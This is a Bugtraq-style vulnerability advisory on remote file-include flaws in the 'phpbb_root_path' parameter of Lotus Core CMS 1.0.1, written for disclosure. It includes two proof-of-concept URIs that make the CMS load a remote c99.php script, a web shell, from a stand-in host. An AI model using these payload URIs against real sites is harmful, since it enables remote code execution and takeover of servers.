Lotus Core CMS 'phpbb_root_path' Parameter Multiple Remote File Include Vulnerabilities

Bugtraq ID:	29838
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 19 2008 12:00AM
Updated:	Jun 23 2008 07:01PM
Credit:	Ciph3r
Vulnerable:	Lotus Core CMS Lotus Core CMS 1.0.1
Not Vulnerable:

Lotus Core CMS 'phpbb_root_path' Parameter Multiple Remote File Include Vulnerabilities

Lotus Core CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Lotus Core CMS 1.0.1 is vulnerable; other versions may also be affected.

Lotus Core CMS 'phpbb_root_path' Parameter Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/cms/Lotus%20Core%20v1.0.1/system/plugins/index.php?phpbb_root_path=http://127.0.0.1/c99.php?
http://www.example.com/cms/Lotus%20Core%20v1.0.1/system/plugins/error/404.php?phpbb_root_path=http://127.0.0.1/c99.php?

Lotus Core CMS 'phpbb_root_path' Parameter Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Lotus Core CMS 'phpbb_root_path' Parameter Multiple Remote File Include Vulnerabilities

References:

• Lotus Core CMS Homepage (Lotus Core CMS)